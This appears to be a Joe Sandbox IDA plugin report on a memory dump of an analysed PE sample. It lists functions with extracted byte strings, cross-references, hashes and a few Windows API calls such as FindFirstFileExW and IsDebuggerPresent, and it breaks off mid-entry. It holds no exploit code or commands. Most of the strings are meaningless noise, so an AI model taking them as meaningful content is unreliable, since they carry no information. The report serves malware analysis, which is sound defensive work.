=B':, xrefs: 00032F45
?1z", xrefs: 00033089
?1z", xrefs: 00033076
U`$, xrefs: 00031C70
j:0Z, xrefs: 00031611
<B':, xrefs: 0003167F
hP&o, xrefs: 00032DB2
nxf, xrefs: 00032CDC
k:0Z, xrefs: 00031AEB
hP&o, xrefs: 00032464
nxf, xrefs: 00031750
nxf, xrefs: 0003285B
?1z", xrefs: 00031A15
9^g*, xrefs: 00031384
5\"K, xrefs: 00031E78
nxf, xrefs: 00032848
U`$, xrefs: 00032B44
:^g*, xrefs: 0003354F
hP&o, xrefs: 00032DC5
5\"K, xrefs: 000325F2
.:g, xrefs: 00031C87

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: %{H1$%{H1$.:g$.:g$5\"K$5\"K$9^g*$:^g*$:^g*$<B':$=B':$=B':$=B':$?1z"$?1z"$?1z"$?1z"$?1z"$U`$$U`$$hP&o$hP&o$hP&o$hP&o$j:0Z$k:0Z$k:0Z$k:0Z$kG+$kG+$mxf$nxf$nxf$nxf$nxf$nxf
API String ID: 0-3562987642
Opcode ID: 626a7760b9d6089e25d2633ce859da629fc4f62b2f3460141e58a8aa3e4c8ebe
Instruction ID: e5f239ddaa6a284580fb7aa8ed9744d4ddd5c1a4b49dccf076adf85c68a799a0
Opcode Fuzzy Hash: 626a7760b9d6089e25d2633ce859da629fc4f62b2f3460141e58a8aa3e4c8ebe
Instruction Fuzzy Hash: BB0337393156408B8A6DDA3885F857D73DB9FA8360F34461FE9238B6F0CB66DD468702

Function 00049B60 Relevance: 45.8, Strings: 35, Instructions: 2072COMMON

Download Yara Rule

Strings

sL, xrefs: 0004BB4E
Dt, xrefs: 0004B6C0
Dt, xrefs: 0004AC80
W8|, xrefs: 0004B37E
sL, xrefs: 0004B6B4
X8|, xrefs: 0004B825
(, xrefs: 0004A440
J+z7, xrefs: 0004B189
Hyol, xrefs: 0004B503
2h`?, xrefs: 0004B3F8
[u, xrefs: 0004A008
(, xrefs: 00049C50
zN_, xrefs: 0004B67A
fM@#, xrefs: 0004BE06
2h`?, xrefs: 0004ABCE
fM@#, xrefs: 0004B800
X8|, xrefs: 0004BE4E
2h`?, xrefs: 0004ABD8
Yrf1, xrefs: 0004B2A2
Yrf1, xrefs: 0004A2E0
2h`?, xrefs: 0004BE31
zN_, xrefs: 0004BBCC
(, xrefs: 00049C80
Hyol, xrefs: 0004B4F9
No, xrefs: 00049F7E
[u, xrefs: 00049D6B
Yrf1, xrefs: 0004B98E
Hyol, xrefs: 0004AF0E
J+z7, xrefs: 0004ADD7
[u, xrefs: 0004AC5F
No, xrefs: 0004B137
zN_, xrefs: 0004ABD3
fM@#, xrefs: 0004BA7F
Hyol, xrefs: 0004B6F1
Dt, xrefs: 0004A46E

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: ($($($sL$sL$2h`?$2h`?$2h`?$2h`?$Dt$Dt$Dt$Hyol$Hyol$Hyol$Hyol$J+z7$J+z7$W8|$X8|$X8|$Yrf1$Yrf1$Yrf1$fM@#$fM@#$fM@#$zN_$zN_$zN_$No$No$[u$[u$[u
API String ID: 0-1459843020
Opcode ID: 95f08a2820bf23c90a4bb48701007a76ed699ec6ebf9e3e083704d4e89976e29
Instruction ID: a6e128dcd9af98597b490c2f7856a427f8682b82c98e13c303de0462b3beeab6
Opcode Fuzzy Hash: 95f08a2820bf23c90a4bb48701007a76ed699ec6ebf9e3e083704d4e89976e29
Instruction Fuzzy Hash: 0AE228BBB555018B5A68CB2CEAD402E72E3DBD532072B8673DC124B3E4C7789C45878B

Function 0004F320 Relevance: 19.6, Strings: 14, Instructions: 2099COMMON

Download Yara Rule

Strings

>am#, xrefs: 0004F39F
$^t0, xrefs: 0004FFF1
$^t0, xrefs: 00050212
kX]E, xrefs: 0004F5DB
lX]E, xrefs: 00050361
lX]E, xrefs: 0004FCE0
$^t0, xrefs: 000503E3
6Haz, xrefs: 0004F928
lX]E, xrefs: 000502E4
>am#, xrefs: 0004FAF5
=am#, xrefs: 0004F474
6Haz, xrefs: 00051136
6Haz, xrefs: 000509EA
>am#, xrefs: 000501F2

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: $^t0$$^t0$$^t0$6Haz$6Haz$6Haz$=am#$>am#$>am#$>am#$kX]E$lX]E$lX]E$lX]E
API String ID: 0-4155389939
Opcode ID: 08033699df5af57866ec2944098aab46ee5b9a7f8554bef42f4d68f018e4ca72
Instruction ID: df03651be89d2a1f8dd28a75b4d130827f3b04ae2e1bde7c9daff9e1f13ac323
Opcode Fuzzy Hash: 08033699df5af57866ec2944098aab46ee5b9a7f8554bef42f4d68f018e4ca72
Instruction Fuzzy Hash: 96D27D7AF042158B9F3C8E28D4E417EB3D29F55321725027FED13AB7A0C7229D45CA86

Function 0004C080 Relevance: 17.4, Strings: 13, Instructions: 1194COMMON

Download Yara Rule

Strings

2Y)P, xrefs: 0004C6D5
-1V7, xrefs: 0004CA31
2Y)P, xrefs: 0004C344
Spj, xrefs: 0004C579
M9g, xrefs: 0004CF65
>1hQ, xrefs: 0004C6EB
-1V7, xrefs: 0004CA3C
>1hQ, xrefs: 0004CF56
-1V7, xrefs: 0004D0DA
M9g, xrefs: 0004C309
M9g, xrefs: 0004CC87
1Y)P, xrefs: 0004C1FD
-1V7, xrefs: 0004C492

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: Spj$-1V7$-1V7$-1V7$-1V7$1Y)P$2Y)P$2Y)P$>1hQ$>1hQ$M9g$M9g$M9g
API String ID: 0-4293082596
Opcode ID: 5f9b25c84058e7b23d95ac6dd10ccc34e1f445d65675fe6394a7eb0262b01e05
Instruction ID: 4329a40a100f9df643f99382d01c9f16a36d318ee2ede5be2da31b72856112e0
Opcode Fuzzy Hash: 5f9b25c84058e7b23d95ac6dd10ccc34e1f445d65675fe6394a7eb0262b01e05
Instruction Fuzzy Hash: A5921AB6B06104CBABE8CB2899D896D73E39F5D320769453BE812DB3B1C724DD40D74A

Function 00057820 Relevance: 17.1, Strings: 13, Instructions: 886COMMON

Download Yara Rule

Strings

WlUi, xrefs: 00058341
U/, xrefs: 0005852A
WlUi, xrefs: 00057B37
WlUi, xrefs: 00057E01
WlUi, xrefs: 00057B45
1I#, xrefs: 000582EE
U/, xrefs: 00057D7E
VlUi, xrefs: 0005808D
1I#, xrefs: 00057B82
1I#, xrefs: 00057B70
U/, xrefs: 00058104
U/, xrefs: 0005850D
1I#, xrefs: 00057CA2

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: VlUi$WlUi$WlUi$WlUi$WlUi$1I#$1I#$1I#$1I#$U/$U/$U/$U/
API String ID: 0-3233344364
Opcode ID: f9be7fb898f241018ee3b5683e1d47286f6d47bd0f67f34888dbd2456c90ff2f
Instruction ID: e6003de1a58d3ef87558ccc102a3b3f9e528f8a4245cfa39a56faad0fd7b5ffe
Opcode Fuzzy Hash: f9be7fb898f241018ee3b5683e1d47286f6d47bd0f67f34888dbd2456c90ff2f
Instruction Fuzzy Hash: FB521F3A6087004F6E68C628A9C813F76C29B943217748A15EE1ADF3F5FE65DC8DD742

Function 00045F40 Relevance: 9.0, Strings: 7, Instructions: 233COMMON

Download Yara Rule

Strings

9z`, xrefs: 000460EC
9z`, xrefs: 0004628B
C`lB, xrefs: 00046009
C`lB, xrefs: 00045FE0
9z`, xrefs: 00045FC8
9z`, xrefs: 0004610A
C`lB, xrefs: 0004602B

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: C`lB$C`lB$C`lB$9z`$9z`$9z`$9z`
API String ID: 0-915920326
Opcode ID: d87f23663af02cc1de4ee810634eecd69070a9cdc2801fe858e1dce634624e87
Instruction ID: 85bbb6c56bf9127f512ed18490fb1017ea21149d1a0506ecc54e110d12cb40cc
Opcode Fuzzy Hash: d87f23663af02cc1de4ee810634eecd69070a9cdc2801fe858e1dce634624e87
Instruction Fuzzy Hash: 6D8148B6A10A108BDA244B18598431D76D29B81365F3A4773DC16EF3F1D77ACC0ACB8B

Function 0003A34B Relevance: 9.0, Strings: 7, Instructions: 230COMMON

Download Yara Rule

Strings

A\, xrefs: 0003A98B
A\, xrefs: 0003B83B
"!-, xrefs: 0003B852
"!-, xrefs: 0003B44D
@\, xrefs: 0003A357
"!-, xrefs: 0003B860
A\, xrefs: 0003B84D

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: @\$A\$A\$A\$"!-$"!-$"!-
API String ID: 0-1374745079
Opcode ID: 5f19714c63c5493335fadf3981923c1ce49eeb26b95d0f0aa0281fcc639dd5f5
Instruction ID: 655ba2f771d521b43377d589122362326eed23b0d513e7fb97f5bcf12643081a
Opcode Fuzzy Hash: 5f19714c63c5493335fadf3981923c1ce49eeb26b95d0f0aa0281fcc639dd5f5
Instruction Fuzzy Hash: A5712A367042008B9A6DCB2859A543DB2CF9FE6360F39821FD9538BBE4DBB58C415B43

Function 00047BB0 Relevance: 8.9, Strings: 6, Instructions: 1363COMMON

Download Yara Rule

Strings

i.^, xrefs: 00047DA0
j.^, xrefs: 00047DAC
j.^, xrefs: 000485A5
.Q_, xrefs: 00049213
j.^, xrefs: 0004867D
.Q_, xrefs: 00048547

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: .Q_$.Q_$i.^$j.^$j.^$j.^
API String ID: 0-1753969837
Opcode ID: 71e64f4cba58b1c121fa14102c67661cab4ee0ec63d7b753875da13964445efa
Instruction ID: 12994641ae2d83e2ab1ed6cb9419504f482e33fe9d594af2ba7fa73e00618c31
Opcode Fuzzy Hash: 71e64f4cba58b1c121fa14102c67661cab4ee0ec63d7b753875da13964445efa
Instruction Fuzzy Hash: 2AA250B67195008F596CDB2899E943DB2D2AF943307798A3FEC178B7F0DB248C45874A

Function 0004D480 Relevance: 8.1, Strings: 6, Instructions: 552COMMON

Download Yara Rule

Strings

$\Z, xrefs: 0004DC43
.'K`, xrefs: 0004D614
-'K`, xrefs: 0004D51B
.'K`, xrefs: 0004DAC6
$\Z, xrefs: 0004D591
.'K`, xrefs: 0004D567

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: -'K`$.'K`$.'K`$.'K`$$\Z$$\Z
API String ID: 0-1124325746
Opcode ID: 1af5791449865aab0d0cd08ec661a19e4664b5e46322a6c97a5cda404f36d4d7
Instruction ID: 055147831cd62d6cb7f63172f7ea84f5b2ae0c08ec1355b6d57d329770672838
Opcode Fuzzy Hash: 1af5791449865aab0d0cd08ec661a19e4664b5e46322a6c97a5cda404f36d4d7
Instruction Fuzzy Hash: AF1260F6F045108F9B684B2C54E45BD77D2EB85360B2A467BE912E73E0CA29CC85C7C9

Function 00043420 Relevance: 6.9, Strings: 5, Instructions: 687COMMON

Download Yara Rule

Strings

@B;, xrefs: 00043CA9
@B;, xrefs: 00043BA6
@B;, xrefs: 000434A8
@B;, xrefs: 00043CB7
?B;, xrefs: 00043492

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: ?B;$@B;$@B;$@B;$@B;
API String ID: 0-1209347523
Opcode ID: bae6aaaccbda2987a77bdcff77cc28e840cdde17b40353842b3f53a57ab471dc
Instruction ID: f5ac4509a876f84040a5362a0a32afc1dde9583f9e14e5bdcb8f3b2072cf7995
Opcode Fuzzy Hash: bae6aaaccbda2987a77bdcff77cc28e840cdde17b40353842b3f53a57ab471dc
Instruction Fuzzy Hash: C33225BA7002005F8B68CA2C99C456DB3D3ABD5330735A636E922CB7E8D774EE46C745

Function 00043F60 Relevance: 6.8, Strings: 5, Instructions: 572COMMON

Download Yara Rule

Strings

CyN, xrefs: 00044480
CyN, xrefs: 00043FF3
CyN, xrefs: 0004448E
CyN, xrefs: 00044108
CyN, xrefs: 000440FA

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: CyN$CyN$CyN$CyN$CyN
API String ID: 0-4075027903
Opcode ID: c586d1e05d53a72aa6bc1227d6f69f8a39b68bfff0c921a1fadcb9fb2aa2c53a
Instruction ID: 84d03cfe5e51a1eab02462e3a2433da6a7dc5a8b96c68d3d68d195ca7f5a3b01
Opcode Fuzzy Hash: c586d1e05d53a72aa6bc1227d6f69f8a39b68bfff0c921a1fadcb9fb2aa2c53a
Instruction Fuzzy Hash: 0A129ABBB047404F1A68CB3A569422D72D35BDA3303359A36E912CF7E4DB79CD4A8349

Function 0004DE50 Relevance: 6.8, Strings: 5, Instructions: 531COMMON

Download Yara Rule

Strings

S@, xrefs: 0004E1C7
S@, xrefs: 0004E275
S@, xrefs: 0004E283
S@, xrefs: 0004E3C3
S@, xrefs: 0004E1B9

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: S@$S@$S@$S@$S@
API String ID: 0-819130239
Opcode ID: 216673c93c3e1d59f522c129dd9b0ad74d7729c0194911e7130bfb579ced7182
Instruction ID: 0a9dd327cdaebd4c808e86add0c81c5b5e23bd0cdb0313cc369d528146120a18
Opcode Fuzzy Hash: 216673c93c3e1d59f522c129dd9b0ad74d7729c0194911e7130bfb579ced7182
Instruction Fuzzy Hash: 110206B77056808B5A64CB29C9D812D62D3ABE43207758E33E812CF7F4D774ED46874A

Function 00057310 Relevance: 6.6, Strings: 5, Instructions: 310COMMON

Download Yara Rule

Strings

c~N, xrefs: 000573B6
c~N, xrefs: 00057523
b~N, xrefs: 000573D0
c~N, xrefs: 000575C2
c~N, xrefs: 000575CD

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: b~N$c~N$c~N$c~N$c~N
API String ID: 0-1905032987
Opcode ID: 4b246c6f69a73aab64c2bf05c7c1d2d1d03bc337d056a7aa1fc6a69d50b44e81
Instruction ID: 013672d32aa64ccf3709dbfe1ccac910464bf0775b5febd3f23a716d427e8493
Opcode Fuzzy Hash: 4b246c6f69a73aab64c2bf05c7c1d2d1d03bc337d056a7aa1fc6a69d50b44e81
Instruction Fuzzy Hash: 15A1FC7520C7444F5F688738B5C412F73D29BE8322B648756EC19CB2E4E7A4DE497742

Function 0003B944 Relevance: 6.5, Strings: 5, Instructions: 235COMMON

Download Yara Rule

Strings

PbQ, xrefs: 0003C1D9
A\, xrefs: 0003B83B
"!-, xrefs: 0003B852
"!-, xrefs: 0003B860
A\, xrefs: 0003B84D

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: A\$A\$PbQ$"!-$"!-
API String ID: 0-1954403065
Opcode ID: 3a3df5f34a76c76f5e348bb7a6c28cbe3fbe4fb4806962e9f6513e0d82604516
Instruction ID: 09d8f24879dbdd0fecc2474ee0dd39400523c573de35f4637813ce1427236ac9
Opcode Fuzzy Hash: 3a3df5f34a76c76f5e348bb7a6c28cbe3fbe4fb4806962e9f6513e0d82604516
Instruction Fuzzy Hash: 2C7129367042004B9E6E872859E543D72CF9FE6320F39861FD9539BBE8DBB588415B43

Function 0005F711 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0005F801

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d123f64425ed66e52afcc8deacf26233d81be56bfb5763784e8d319a8efa1e8b
Instruction ID: ba0b316996bd072ca3f260b07174155aad45a83b97889c7534e9c571adeb350f
Opcode Fuzzy Hash: d123f64425ed66e52afcc8deacf26233d81be56bfb5763784e8d319a8efa1e8b
Instruction Fuzzy Hash: B471F77580555EAFDF60AF24CC89AFFB7B9AF05302F1441EAE84997152DA384E898F10

Function 0005968F Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0005969B
IsDebuggerPresent.KERNEL32 ref: 00059767
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00059787
UnhandledExceptionFilter.KERNEL32(?), ref: 00059791

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 41e6709da1b84bda815e4cd9b7c743cfebd66446cf3b14396e1e93125a8f952c
Instruction ID: ba69e3d97c8adaf77e806ff0a950379b0477970b0d83063f3645abc194a00935
Opcode Fuzzy Hash: 41e6709da1b84bda815e4cd9b7c743cfebd66446cf3b14396e1e93125a8f952c
Instruction Fuzzy Hash: 6E311A75D0521DDBEB10DFA4D989BCDBBF8AF08301F1041AAE848A7250EB755A898F45

Function 00054CB0 Relevance: 4.8, APIs: 3, Instructions: 287COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00054D46

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
